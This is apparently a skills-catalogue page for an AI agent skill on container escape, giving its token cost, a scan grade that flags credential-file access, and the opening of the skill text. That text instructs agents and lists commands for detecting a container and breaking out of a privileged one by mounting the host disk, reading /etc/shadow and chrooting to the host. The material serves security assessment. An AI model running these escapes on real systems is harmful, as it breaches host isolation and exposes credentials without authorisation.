container-escape-techniques

container-escape-techniques is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 52 tokens per session (2,687 once invoked), scanned C, a copy of container-escape-techniques, MIT.

A security assessment guide for Docker, LXC, and Kubernetes containers. It focuses on escaping an isolated container or pod to reach the host system.

In plain words
What is it for?
Use it to assess container privileges, Docker sockets, Linux namespaces, cgroups, runtime vulnerabilities, and Kubernetes pod escape paths.
Why use it?
It helps investigate whether privileged settings, exposed sockets, excessive capabilities, or runtime flaws can break container isolation.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade C, and why

container-escape-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

SKILL: Container Escape Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.

Before going deep, consider loading:

Advanced Reference

Also load DOCKER_ESCAPE_CHAINS.md when you need:

  • Step-by-step escape chains for common misconfigurations
  • Docker-in-Docker escape scenarios
  • Kubernetes-specific escape paths with full command sequences

1. AM I IN A CONTAINER?

# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname    # random hex = likely container

# Detailed check
cat /proc/1/status | head -5   # PID 1 is not systemd/init?
mount | grep -i "overlay"      # overlay filesystem?
ip addr                         # veth interface? limited NICs?

2. PRIVILEGED CONTAINER ESCAPE

If --privileged flag was used, the container has nearly all host capabilities and device access.

2.1 Mount Host Filesystem

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1

# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
